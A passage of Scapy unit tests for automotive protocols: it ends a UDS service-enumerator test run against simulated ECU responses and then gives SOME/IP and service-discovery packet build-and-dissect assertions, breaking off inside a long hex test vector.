requestServiceId=0x41)]), EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode="subFunctionNotSupported", requestServiceId=0x11)]), EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode="subFunctionNotSupported", requestServiceId=0x42)]), EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode="subFunctionNotSupported", requestServiceId=0x43)])] es = [UDS_ServiceEnumerator] scanner = executeScannerInVirtualEnvironment( resps, es, UDS_ServiceEnumerator_kwargs={"scan_range": [0x11, 0x40, 0x41, 0x42]}) assert scanner.scan_completed assert scanner.progress() > 0.95 tc = scanner.configuration.test_cases[0] tc.show() assert len(tc.results_with_negative_response) == 4 = UDS_ServiceEnumerator, all range def req_handler(resp, req): if req.service != 0x22: return False if len(req) == 1: resp.negativeResponseCode="generalReject" return True if len(req) == 2: resp.negativeResponseCode="incorrectMessageLengthOrInvalidFormat" return True if len(req) == 3: resp.negativeResponseCode="requestOutOfRange" return True return False resps = [EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode="subFunctionNotSupported", requestServiceId="ReadDataByIdentifier")], req_handler)] es = [UDS_ServiceEnumerator] debug_dissector_backup = conf.debug_dissector # This Enumerator is sending corrupted Packets, therefore we need to disable the debug_dissector conf.debug_dissector = False scanner = executeScannerInVirtualEnvironment( resps, es, UDS_ServiceEnumerator_kwargs={"request_length": 3, "scan_range": range(256)}, unstable_socket=False) conf.debug_dissector = debug_dissector_backup assert scanner.scan_completed assert scanner.progress() > 0.95 tc = scanner.configuration.test_cases[0] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() tc.show() assert len(tc.scanned_states) == 1 result = tc.show(dump=True) assert "incorrectMessageLengthOrInvalidFormat" in result assert "requestOutOfRange" in result + Cleanup = Delete testsockets cleanup_testsockets() ================================================ FILE: test/contrib/automotive/someip.uts ================================================ # MIT License # Copyright (c) 2018 Jose Amores # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Sebastian Baar # This program is published under a GPLv2 license ########## ########## + Basic operations = Load module load_contrib("automotive.someip", globals_dict=globals()) + SOME/IP operation = Basic build p = SOMEIP() pstr = bytes(p) binstr = b"\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x01\x01\x00\x00" assert pstr == binstr = Build with empty payload p.payload = Raw(b"") pstr = bytes(p) binstr = b"\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x01\x01\x00\x00" assert pstr == binstr = Build with non-empty payload p.payload = Raw(b"\xde\xad\xbe\xef") pstr = bytes(p) binstr = b"\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x01\x01\x00\x00\xde\xad\xbe\xef" assert pstr == binstr = Dissect EVENT_ID packet p = SOMEIP(b"\x11\x11\x81\x11\x00\x00\x00\x08\x33\x33\x44\x44\x02\x03\x04\x05") assert p.srv_id == 0x1111 assert p.sub_id == 0x8111 assert p.client_id == 0x3333 assert p.session_id == 0x4444 assert p.proto_ver == 0x02 assert p.iface_ver == 0x03 assert p.msg_type == 0x04 assert p.retcode == 0x05 = Dissect METHOD_ID packet p = SOMEIP(b"\x11\x11\x01\x11\x00\x00\x00\x08\x33\x33\x44\x44\x02\x03\x04\x05") assert p.srv_id == 0x1111 assert p.sub_id == 0x0111 assert p.client_id == 0x3333 assert p.session_id == 0x4444 assert p.proto_ver == 0x02 assert p.iface_ver == 0x03 assert p.msg_type == 0x04 assert p.retcode == 0x05 + SOME/IP-TP operation = Build TP p = SOMEIP() p.msg_type = 0x20 pstr = bytes(p) print(pstr) binstr = b'\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x01\x01\x20\x00\x00\x00\x00\x00' assert pstr == binstr p.more_seg = 1 pstr = bytes(p) binstr = b'\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x01\x01\x20\x00\x00\x00\x00\x01' assert pstr == binstr p.msg_type = 0x00 pstr = bytes(p) binstr = b'\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x01\x01\x00\x00' assert pstr == binstr = Dissect TP p = SOMEIP(b'\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x01\x01\x21\x00\x00\x00\x00\x01') assert p.msg_type == 0x21 assert p.more_seg == 1 assert p.len == 12 p.msg_type = 0x00 pstr = bytes(p) binstr = b"\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x01\x01\x00\x00" assert pstr == binstr = Build TP fragmented payload p = SOMEIP() p.msg_type = 0x20 p.add_payload(Raw("A"*1400)) f = p.fragment() assert f[0].len == 1404 assert f[1].len == 20 assert f[0].payload == Raw("A"*1392) assert f[1].payload == Raw("A"*8) assert f[0].more_seg == 1 assert f[1].more_seg == 0 = Build TP fragmented data p = SOMEIP() p.msg_type = 0x20 p.data = [Raw("A"*1400)] f = p.fragment() assert f[0].len == 1404 assert f[1].len == 20 assert f[0].data[0] == Raw("A"*1392) assert f[1].data[0] == Raw("A"*8) assert f[0].more_seg == 1 assert f[1].more_seg == 0 + SD Entry Service = Check packet length on empty build p = SDEntry_Service() assert len(bytes(p)) == SDENTRY_OVERALL_LEN = Build 1 p = SDEntry_Service(type = SDENTRY_TYPE_SRV_OFFERSERVICE, index_1 = 0x11, index_2 = 0x22, srv_id = 0x3333, inst_id = 0x4444, major_ver = 0x55, ttl = 0x666666, minor_ver = 0xdeadbeef) p_str = bytes(p) bin_str = b"\x01\x11\x22\x00\x33\x33\x44\x44\x55\x66\x66\x66\xde\xad\xbe\xef" assert p_str == bin_str assert len(p_str) == SDENTRY_OVERALL_LEN = Build 2 p = SDEntry_Service(n_opt_1 = 0xf1, n_opt_2 = 0xf2) p_str = bytes(p) bin_str = b"\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" assert p_str == bin_str assert len(p_str) == SDENTRY_OVERALL_LEN = Dissect p = SDEntry_Service( b"\x01\x22\x33\x00\x44\x44\x55\x55\x66\x77\x77\x77\xde\xad\xbe\xef") assert p.type == SDENTRY_TYPE_SRV_OFFERSERVICE assert p.index_1 == 0x22 assert p.index_2 == 0x33 assert p.srv_id == 0x4444 assert p.inst_id == 0x5555 assert p.major_ver == 0x66 assert p.ttl == 0x777777 assert p.minor_ver == 0xdeadbeef + SD Entry Eventgroup = Check packet length on empty build p = SDEntry_EventGroup() assert len(bytes(p)) == SDENTRY_OVERALL_LEN = Build p = SDEntry_EventGroup(index_1 = 0x11, index_2 = 0x22, srv_id = 0x3333, inst_id = 0x4444, major_ver = 0x55, ttl = 0x666666, cnt = 0x7, eventgroup_id = 0x8888) p_str = bytes(p) bin_str = b"\x06\x11\x22\x00\x33\x33\x44\x44\x55\x66\x66\x66\x00\x07\x88\x88" assert p_str == bin_str assert len(bytes(p)) == SDENTRY_OVERALL_LEN = Dissect p = SDEntry_EventGroup( b"\x06\x11\x22\x00\x33\x33\x44\x44\x55\x66\x66\x66\x00\x07\x88\x88") assert p.index_1 == 0x11 assert p.index_2 == 0x22 assert p.srv_id == 0x3333 assert p.inst_id == 0x4444 assert p.major_ver == 0x55 assert p.ttl == 0x666666 assert p.cnt == 0x7 assert p.eventgroup_id == 0x8888 + SD Flags = Build and check flags p = SD() p.flags = "REBOOT" assert p.flags == 0x80 p.flags = "" assert p.flags == 0x00 p.flags = "UNICAST" assert p.flags == 0x40 p.flags = "" assert p.flags == 0x00 p.flags = "EXPLICIT_INITIAL_DATA_CONTROL" assert p.flags == 0x20 p.flags = "" assert p.flags == 0x00 p.flags = "REBOOT+UNICAST+EXPLICIT_INITIAL_DATA_CONTROL" assert p.flags == 0xe0 + SD Get SOME/IP Packet = Build empty p = SOMEIP() / SD() assert len(bytes(p)) == SOMEIP._OVERALL_LEN_NOPAYLOAD + 12 = Verify constants against spec TR_SOMEIP_00250 assert SD.SOMEIP_MSGID_SRVID == 0xffff assert SD.SOMEIP_MSGID_SUBID == 0x8100 assert SD.SOMEIP_CLIENT_ID == 0x0000 assert SD.SOMEIP_MINIMUM_SESSION_ID == 0x0001 assert SD.SOMEIP_PROTO_VER == 0x01 assert SD.SOMEIP_IFACE_VER == 0x01 assert SD.SOMEIP_MSG_TYPE == 0x02 assert SD.SOMEIP_RETCODE == 0x00 = check that values are bound assert p[SOMEIP].srv_id == SD.SOMEIP_MSGID_SRVID assert p[SOMEIP].sub_id == SD.SOMEIP_MSGID_SUBID assert p[SOMEIP].client_id == SD.SOMEIP_CLIENT_ID assert p[SOMEIP].session_id != 0x0000 assert p[SOMEIP].session_id >= SD.SOMEIP_MINIMUM_SESSION_ID assert p[SOMEIP].proto_ver == SD.SOMEIP_PROTO_VER assert p[SOMEIP].iface_ver == SD.SOMEIP_IFACE_VER assert p[SOMEIP].msg_type == SD.SOMEIP_MSG_TYPE assert p[SOMEIP].retcode == SD.SOMEIP_RETCODE # FIXME: Service Discovery messages shell be transported over UDP # (TR_SOMEIP_00248) # FIXME: The port 30490 (UDP and TCP as well) shall be only used for SOME/IP-SD # and not used for applications communicating over SOME/IP (TR_SOMEIP_00020) + SD = Check length of package without entries nor options p = SD() assert len(bytes(p)) == 12 = Check entries to array and size check p.set_entryArray([SDEntry_Service(), SDEntry_EventGroup()]) assert struct.unpack("!L", bytes(p)[4:8])[0] == 32 p.set_entryArray([]) assert struct.unpack("!L", bytes(p)[4:8])[0] == 0 = Check Options to array and size check p.set_optionArray([SDOption_IP4_EndPoint(), SDOption_IP4_EndPoint()]) assert struct.unpack("!L", bytes(p)[8:12])[0] == 24 p.set_optionArray([]) assert struct.unpack("!L", bytes(p)[8:12])[0] == 0 = Check Entries & Options to array and size check p.set_entryArray([SDEntry_Service(), SDEntry_EventGroup()]) p.set_optionArray([SDOption_IP4_EndPoint(), SDOption_IP4_EndPoint()]) assert struct.unpack("!L", bytes(p)[4:8])[0] == 32 assert struct.unpack("!L", bytes(p)[40:44])[0] == 24 + Git issue 2348: SOME/IP-SD Entry-Array is broken by building it from RAW = Single SD entry # offer service ea1 = SDEntry_Service() ea1.type = 1 ea1.srv_id = 0x1234 ea1.inst_id = 0x5678 ea1.ttl = 0x333333 # subscribe eventgroup ea2 = SDEntry_EventGroup() ea2.type = 0x6 ea2.srv_id = 0x8765 ea2.inst_id = 0x4321 ea2.ttl = 0x222222 ea2.eventgroup_id = 0x1357 sd1 = SD() sd1.set_entryArray([ea1]) # this is computed on build, but we need it sooner for the assert sd1.len_entry_array = 16 sd1.len_option_array = 0 assert sd1.show(dump=True) == SD(sd1.build()).show(dump=True) = Double SD entry sd2 = SD() sd2.set_entryArray([ea2,ea1]) # this is computed on build, but we need it sooner for the assert sd2.len_entry_array = 32 sd2.len_option_array = 0 assert sd2.show(dump=True) == SD(sd2.build()).show(dump=True) = Flipped double SD entry # flip the order sd2.set_entryArray([ea1,ea2]) assert sd2.show(dump=True) == SD(sd2.build()).show(dump=True) + SD Options (individual) = Verifying constants against spec assert SDOPTION_CFG_TYPE == 0x01 assert SDOPTION_LOADBALANCE_TYPE == 0x02 assert SDOPTION_LOADBALANCE_LEN == 0x05 assert SDOPTION_IP4_ENDPOINT_TYPE == 0x04 assert SDOPTION_IP4_ENDPOINT_LEN == 0x0009 assert SDOPTION_IP4_MCAST_TYPE == 0x14 assert SDOPTION_IP4_MCAST_LEN == 0x0009 assert SDOPTION_IP4_SDENDPOINT_TYPE == 0x24 assert SDOPTION_IP4_SDENDPOINT_LEN == 0x0009 assert SDOPTION_IP6_ENDPOINT_TYPE == 0x06 assert SDOPTION_IP6_ENDPOINT_LEN == 0x0015 assert SDOPTION_IP6_MCAST_TYPE == 0x16 assert SDOPTION_IP6_MCAST_LEN == 0x0015 assert SDOPTION_IP6_SDENDPOINT_TYPE == 0x26 assert SDOPTION_IP6_SDENDPOINT_LEN == 0x0015 ### SDOption_Config = SDOption_Config: Verify make_string() method from dict data = { "hello": "world" } out = SDOption_Config.make_string(data) assert out == b"\x0bhello=world\x00" = SDOption_Config: Verify make_string() method from list data = [ ("x", "y"), ("abc", "def"), ("123", "456") ] out = SDOption_Config.make_string(data) assert out == b"\x03x=y\x07abc=def\x07123=456\x00" = SDOption_Config: Build and dissect empty opt = SDOption_Config() optraw = opt.build() assert optraw == b"\x00\x02\x01\x00\x00" opt = SDOption_Config(optraw) assert opt.len == 0x2 assert opt.type == SDOPTION_CFG_TYPE assert opt.res_hdr == 0x0 assert opt.cfg_str == b"\x00" = SDOption_Config: Build and dissect spec example tststr = b"\x05abc=x\x07def=123\x00" opt = SDOption_Config(cfg_str=tststr) optraw = opt.build() assert optraw == b"\x00\x10\x01\x00" + tststr opt = SDOption_Config(optraw) assert opt.len == 0x10 assert opt.type == SDOPTION_CFG_TYPE assert opt.res_hdr == 0x00 assert opt.cfg_str == tststr = SDOption_Config: Build and dissect fully populated tststr = b"abcdefghijklmnopqrstuvwxyz" opt = SDOption_Config(len=0x1234, type=0x56, res_hdr=0x78, cfg_str=tststr) optraw = opt.build() assert optraw == b"\x12\x34\x56\x78" + tststr opt = SDOption_Config(optraw) assert opt.len == 0x1234 assert opt.type == 0x56 assert opt.res_hdr == 0x78 assert opt.cfg_str == tststr ### SDOption_LoadBalance = SDOption_LoadBalance: Build and dissect empty opt = SDOption_LoadBalance() optraw = opt.build() assert optraw == b"\x00\x05\x02\x00\x00\x00\x00\x00" opt = SDOption_LoadBalance(optraw) assert opt.len == SDOPTION_LOADBALANCE_LEN assert opt.type == SDOPTION_LOADBALANCE_TYPE assert opt.res_hdr == 0x0 assert opt.priority == 0x0 assert opt.weight == 0x0 = SDOption_LoadBalance: Build and dissect example opt = SDOption_LoadBalance(priority=0x1234, weight=0x5678) optraw = opt.build() assert optraw == b"\x00\x05\x02\x00\x12\x34\x56\x78" opt = SDOption_LoadBalance(optraw) assert opt.len == SDOPTION_LOADBALANCE_LEN assert opt.type == SDOPTION_LOADBALANCE_TYPE assert opt.res_hdr == 0x00 assert opt.priority == 0x1234 assert opt.weight == 0x5678 = SDOption_LoadBalance: Build and dissect fully populated opt = SDOption_LoadBalance(len=0x1234, type=0x56, res_hdr=0x78, priority=0x9abc, weight=0xdef0) optraw = opt.build() assert optraw == b"\x12\x34\x56\x78\x9a\xbc\xde\xf0" opt = SDOption_LoadBalance(optraw) assert opt.len == 0x1234 assert opt.type == 0x56 assert opt.res_hdr == 0x78 assert opt.priority == 0x9abc assert opt.weight == 0xdef0 ### SDOption_IP4_EndPoint = SDOption_IP4_EndPoint: Build and dissect empty opt = SDOption_IP4_EndPoint() optraw = opt.build() assert optraw == b"\x00\x09\x04\x00\x00\x00\x00\x00\x00\x11\x00\x00" opt = SDOption_IP4_EndPoint(optraw) assert opt.len == SDOPTION_IP4_ENDPOINT_LEN assert opt.type == SDOPTION_IP4_ENDPOINT_TYPE assert opt.res_hdr == 0x0 assert opt.addr == "0.0.0.0" assert opt.res_tail == 0x0 assert opt.l4_proto == 0x11 assert opt.port == 0x0 = SDOption_IP4_EndPoint: Build and dissect example opt = SDOption_IP4_EndPoint(addr = "192.168.123.45", l4_proto = "TCP", port = 0x1234) optraw = opt.build() assert optraw == b"\x00\x09\x04\x00\xc0\xa8\x7b\x2d\x00\x06\x12\x34" opt = SDOption_IP4_EndPoint(optraw) assert opt.len == SDOPTION_IP4_ENDPOINT_LEN assert opt.type == SDOPTION_IP4_ENDPOINT_TYPE assert opt.res_hdr == 0x00 assert opt.addr == "192.168.123.45" assert opt.res_tail == 0x0 assert opt.l4_proto == 0x06 assert opt.port == 0x1234 = SDOption_IP4_EndPoint: Build and dissect fully populated opt = SDOption_IP4_EndPoint(len=0x1234, type=0x56, res_hdr=0x78, addr = "11.22.33.44", res_tail = 0x9a, l4_proto = 0xbc, port = 0xdef0) optraw = opt.build() assert optraw == b"\x12\x34\x56\x78\x0b\x16\x21\x2c\x9a\xbc\xde\xf0" opt = SDOption_IP4_EndPoint(optraw) assert opt.len == 0x1234 assert opt.type == 0x56 assert opt.res_hdr == 0x78 assert opt.addr == "11.22.33.44" assert opt.res_tail == 0x9a assert opt.l4_proto == 0xbc assert opt.port == 0xdef0 ### SDOption_IP4_Multicast = SDOption_IP4_Multicast: Build and dissect empty opt = SDOption_IP4_Multicast() optraw = opt.build() assert optraw == b"\x00\x09\x14\x00\x00\x00\x00\x00\x00\x11\x00\x00" opt = SDOption_IP4_Multicast(optraw) assert opt.len == SDOPTION_IP4_MCAST_LEN assert opt.type == SDOPTION_IP4_MCAST_TYPE assert opt.res_hdr == 0x0 assert opt.addr == "0.0.0.0" assert opt.res_tail == 0x0 assert opt.l4_proto == 0x11 assert opt.port == 0x0 = SDOption_IP4_Multicast: Build and dissect example opt = SDOption_IP4_Multicast(addr = "192.168.123.45", l4_proto = "TCP", port = 0x1234) optraw = opt.build() assert optraw == b"\x00\x09\x14\x00\xc0\xa8\x7b\x2d\x00\x06\x12\x34" opt = SDOption_IP4_Multicast(optraw) assert opt.len == SDOPTION_IP4_MCAST_LEN assert opt.type == SDOPTION_IP4_MCAST_TYPE assert opt.res_hdr == 0x00 assert opt.addr == "192.168.123.45" assert opt.res_tail == 0x0 assert opt.l4_proto == 0x06 assert opt.port == 0x1234 = SDOption_IP4_Multicast: Build and dissect fully populated opt = SDOption_IP4_Multicast(len=0x1234, type=0x56, res_hdr=0x78, addr = "11.22.33.44", res_tail = 0x9a, l4_proto = 0xbc, port = 0xdef0) optraw = opt.build() assert optraw == b"\x12\x34\x56\x78\x0b\x16\x21\x2c\x9a\xbc\xde\xf0" opt = SDOption_IP4_Multicast(optraw) assert opt.len == 0x1234 assert opt.type == 0x56 assert opt.res_hdr == 0x78 assert opt.addr == "11.22.33.44" assert opt.res_tail == 0x9a assert opt.l4_proto == 0xbc assert opt.port == 0xdef0 ### SDOption_IP4_SD_EndPoint = SDOption_IP4_SD_EndPoint: Build and dissect empty opt = SDOption_IP4_SD_EndPoint() optraw = opt.build() assert optraw == b"\x00\x09\x24\x00\x00\x00\x00\x00\x00\x11\x00\x00" opt = SDOption_IP4_SD_EndPoint(optraw) assert opt.len == SDOPTION_IP4_SDENDPOINT_LEN assert opt.type == SDOPTION_IP4_SDENDPOINT_TYPE assert opt.res_hdr == 0x0 assert opt.addr == "0.0.0.0" assert opt.res_tail == 0x0 assert opt.l4_proto == 0x11 assert opt.port == 0x0 = SDOption_IP4_SD_EndPoint: Build and dissect example opt = SDOption_IP4_SD_EndPoint(addr = "192.168.123.45", l4_proto = "TCP", port = 0x1234) optraw = opt.build() assert optraw == b"\x00\x09\x24\x00\xc0\xa8\x7b\x2d\x00\x06\x12\x34" opt = SDOption_IP4_SD_EndPoint(optraw) assert opt.len == SDOPTION_IP4_SDENDPOINT_LEN assert opt.type == SDOPTION_IP4_SDENDPOINT_TYPE assert opt.res_hdr == 0x00 assert opt.addr == "192.168.123.45" assert opt.res_tail == 0x0 assert opt.l4_proto == 0x06 assert opt.port == 0x1234 = SDOption_IP4_SD_EndPoint: Build and dissect fully populated opt = SDOption_IP4_SD_EndPoint(len=0x1234, type=0x56, res_hdr=0x78, addr = "11.22.33.44", res_tail = 0x9a, l4_proto = 0xbc, port = 0xdef0) optraw = opt.build() assert optraw == b"\x12\x34\x56\x78\x0b\x16\x21\x2c\x9a\xbc\xde\xf0" opt = SDOption_IP4_SD_EndPoint(optraw) assert opt.len == 0x1234 assert opt.type == 0x56 assert opt.res_hdr == 0x78 assert opt.addr == "11.22.33.44" assert opt.res_tail == 0x9a assert opt.l4_proto == 0xbc assert opt.port == 0xdef0 ### SDOption_IP6_EndPoint = SDOption_IP6_EndPoint: Build and dissect empty opt = SDOption_IP6_EndPoint() optraw = opt.build() assert optraw == b"\x00\x15\x06\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + b"\x00\x11\x00\x00" opt = SDOption_IP6_EndPoint(optraw) assert opt.len == SDOPTION_IP6_ENDPOINT_LEN assert opt.type == SDOPTION_IP6_ENDPOINT_TYPE assert opt.res_hdr == 0x0 assert opt.addr == "::" assert opt.res_tail == 0x0 assert opt.l4_proto == 0x11 assert opt.port == 0x0 = SDOption_IP6_EndPoint: Build and dissect example opt = SDOption_IP6_EndPoint(addr = "2001:cdba::3257:9652", l4_proto = "TCP", port = 0x1234) optraw = opt.build() assert optraw == b"\x00\x15\x06\x00" + b"\x20\x01\xcd\xba\x00\x00\x00\x00\x00\x00\x00\x00\x32\x57\x96\x52" + b"\x00\x06\x12\x34" opt = SDOption_IP6_EndPoint(optraw) assert opt.len == SDOPTION_IP6_ENDPOINT_LEN assert opt.type == SDOPTION_IP6_ENDPOINT_TYPE assert opt.res_hdr == 0x00 assert opt.addr == "2001:cdba::3257:9652" assert opt.res_tail == 0x0 assert opt.l4_proto == 0x06 assert opt.port == 0x1234 = SDOption_IP6_EndPoint: Build and dissect fully populated opt = SDOption_IP6_EndPoint(len=0x1234, type=0x56, res_hdr=0x78, addr = "1234:5678:9abc:def0:0fed:cba9:8765:4321", res_tail = 0x9a, l4_proto = 0xbc, port = 0xdef0) optraw = opt.build() assert optraw == b"\x12\x34\x56\x78" + b"\x12\x34\x56\x78\x9a\xbc\xde\xf0\x0f\xed\xcb\xa9\x87\x65\x43\x21" + b"\x9a\xbc\xde\xf0" opt = SDOption_IP6_EndPoint(optraw) assert opt.len == 0x1234 assert opt.type == 0x56 assert opt.res_hdr == 0x78 assert opt.addr == "1234:5678:9abc:def0:fed:cba9:8765:4321" assert opt.res_tail == 0x9a assert opt.l4_proto == 0xbc assert opt.port == 0xdef0 ### SDOption_IP6_Multicast = SDOption_IP6_Multicast: Build and dissect empty opt = SDOption_IP6_Multicast() optraw = opt.build() assert optraw == b"\x00\x15\x16\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + b"\x00\x11\x00\x00" opt = SDOption_IP6_Multicast(optraw) assert opt.len == SDOPTION_IP6_MCAST_LEN assert opt.type == SDOPTION_IP6_MCAST_TYPE assert opt.res_hdr == 0x0 assert opt.addr == "::" assert opt.res_tail == 0x0 assert opt.l4_proto == 0x11 assert opt.port == 0x0 = SDOption_IP6_Multicast: Build and dissect example opt = SDOption_IP6_Multicast(addr = "2001:cdba::3257:9652", l4_proto = "TCP", port = 0x1234) optraw = opt.build() assert optraw == b"\x00\x15\x16\x00" + b"\x20\x01\xcd\xba\x00\x00\x00\x00\x00\x00\x00\x00\x32\x57\x96\x52" + b"\x00\x06\x12\x34" opt = SDOption_IP6_Multicast(optraw) assert opt.len == SDOPTION_IP6_MCAST_LEN assert opt.type == SDOPTION_IP6_MCAST_TYPE assert opt.res_hdr == 0x00 assert opt.addr == "2001:cdba::3257:9652" assert opt.res_tail == 0x0 assert opt.l4_proto == 0x06 assert opt.port == 0x1234 = SDOption_IP6_Multicast: Build and dissect fully populated opt = SDOption_IP6_Multicast(len=0x1234, type=0x56, res_hdr=0x78, addr = "1234:5678:9abc:def0:0fed:cba9:8765:4321", res_tail = 0x9a, l4_proto = 0xbc, port = 0xdef0) optraw = opt.build() assert optraw == b"\x12\x34\x56\x78" + b"\x12\x34\x56\x78\x9a\xbc\xde\xf0\x0f\xed\xcb\xa9\x87\x65\x43\x21" + b"\x9a\xbc\xde\xf0" opt = SDOption_IP6_Multicast(optraw) assert opt.len == 0x1234 assert opt.type == 0x56 assert opt.res_hdr == 0x78 assert opt.addr == "1234:5678:9abc:def0:fed:cba9:8765:4321" assert opt.res_tail == 0x9a assert opt.l4_proto == 0xbc assert opt.port == 0xdef0 ### SDOption_IP6_SD_EndPoint = SDOption_IP6_SD_EndPoint: Build and dissect empty opt = SDOption_IP6_SD_EndPoint() optraw = opt.build() assert optraw == b"\x00\x15\x26\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + b"\x00\x11\x00\x00" opt = SDOption_IP6_SD_EndPoint(optraw) assert opt.len == SDOPTION_IP6_SDENDPOINT_LEN assert opt.type == SDOPTION_IP6_SDENDPOINT_TYPE assert opt.res_hdr == 0x0 assert opt.addr == "::" assert opt.res_tail == 0x0 assert opt.l4_proto == 0x11 assert opt.port == 0x0 = SDOption_IP6_SD_EndPoint: Build and dissect example opt = SDOption_IP6_SD_EndPoint(addr = "2001:cdba::3257:9652", l4_proto = "TCP", port = 0x1234) optraw = opt.build() assert optraw == b"\x00\x15\x26\x00" + b"\x20\x01\xcd\xba\x00\x00\x00\x00\x00\x00\x00\x00\x32\x57\x96\x52" + b"\x00\x06\x12\x34" opt = SDOption_IP6_SD_EndPoint(optraw) assert opt.len == SDOPTION_IP6_SDENDPOINT_LEN assert opt.type == SDOPTION_IP6_SDENDPOINT_TYPE assert opt.res_hdr == 0x00 assert opt.addr == "2001:cdba::3257:9652" assert opt.res_tail == 0x0 assert opt.l4_proto == 0x06 assert opt.port == 0x1234 = SDOption_IP6_SD_EndPoint: Build and dissect fully populated opt = SDOption_IP6_SD_EndPoint(len=0x1234, type=0x56, res_hdr=0x78, addr = "1234:5678:9abc:def0:0fed:cba9:8765:4321", res_tail = 0x9a, l4_proto = 0xbc, port = 0xdef0) optraw = opt.build() assert optraw == b"\x12\x34\x56\x78" + b"\x12\x34\x56\x78\x9a\xbc\xde\xf0\x0f\xed\xcb\xa9\x87\x65\x43\x21" + b"\x9a\xbc\xde\xf0" opt = SDOption_IP6_SD_EndPoint(optraw) assert opt.len == 0x1234 assert opt.type == 0x56 assert opt.res_hdr == 0x78 assert opt.addr == "1234:5678:9abc:def0:fed:cba9:8765:4321" assert opt.res_tail == 0x9a assert opt.l4_proto == 0xbc assert opt.port == 0xdef0 = verify building and parsing of multiple SDOptions def _opts_check(opts): optslen = sum([len(o) for o in opts]) sd = SD() sd.set_optionArray(opts) sd.len_entry_array = 0 sd.len_option_array = optslen sd.show() SD(sd.build()).show() assert sd.show(dump=True) == SD(sd.build()).show(dump=True) # options are built and reparsed, to make sure all is calculated opts = [ SDOption_Config(SDOption_Config(cfg_str="hello world").build()), SDOption_LoadBalance(SDOption_LoadBalance().build()), SDOption_IP4_EndPoint(SDOption_IP4_EndPoint().build()), SDOption_IP4_Multicast(SDOption_IP4_Multicast().build()), SDOption_IP4_SD_EndPoint(SDOption_IP4_SD_EndPoint().build()), SDOption_IP6_EndPoint(SDOption_IP6_EndPoint().build()), SDOption_IP6_Multicast(SDOption_IP6_Multicast().build()), SDOption_IP6_SD_EndPoint(SDOption_IP6_SD_EndPoint().build()), ] _opts_check(opts[0:0]) _opts_check(opts[0:2]) _opts_check(opts) _opts_check(opts[::-1]) _opts_check(opts + opts[::-1]) = build test SOMEIP/TP p = SOMEIP(srv_id=1234, sub_id=4321, msg_type=0xff, retcode=0xff, offset=4294967040, data=[Raw(b"deadbeef")]) assert p.data[0].load == b"deadbeef" = test fragment msg = bytes.fromhex("aabbccdd0003aabbccdd20608100a5dc0800450005a050ad400040117ee9c0a87262c0a872037725e107058c6b54402f801e0000057c0000000e0101220000000001123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210123456789abcdef0fedcba9876543210fedcba9876543210a1b2c3d4e5f678901234567890abcdef0f1e2d3c4b5a697889abcdef01234567f0e1d2c3b4a59687111122223333444455556666777788889999aaaabbbbccccdeadbeafbaddcafecafebabedeafbeef1122334455667788a1b2c3d4e5f6f7f823456789abcdef0199887766554433221a2b3c4d5e6f7a8beaf1234567890deffedcba987654321001f23e45d6789abce1f2d3c4b5a6d7e8c9a1b2f3e4d5a6b7d8e1f0a2b3c4d5e623a1b2c3d4e5f678f23456789abcdef09876543210abcdefabcdef012345678987654321f0e1d2c312f34d56a78b9c019a8b7c6d5e4f3a2b56789abcdef0123423456789abcdef01a1b2c3d4e5f678909876543210abcdefabcdef0123456789f23456789abcdef099887766554433221a2b3c4d5e6f7a8bf0e1d2c3b4a59687abcdef9876543210234567890abcdef19999aaaabbbbccccdeadbeafbaddcafecafebabedeafbeef111122223333444455556666777788889999aaaabbbbccccdeadbeafbaddcafecafebabedeafbeef1122334455667788a1b2c3d4e5f6f7f823456789abcdef0199887766554433221a2b3c4d5e6f7a8beaf1234567890deffedcba987654321001f23e45d6789abce1f2d3c4b5a6d7e8c9a1b2f3e4d5a6b7d8e1f0a2b3c4d5e623a1b2c3d4e5f678f23456789abcdef09876543210abcdefabcdef012345678987654321f0e1d2c312f34d56a78b9c019a8b7c6d5e4f3a2b56789abcdef0123423456789abcdef01a1b2c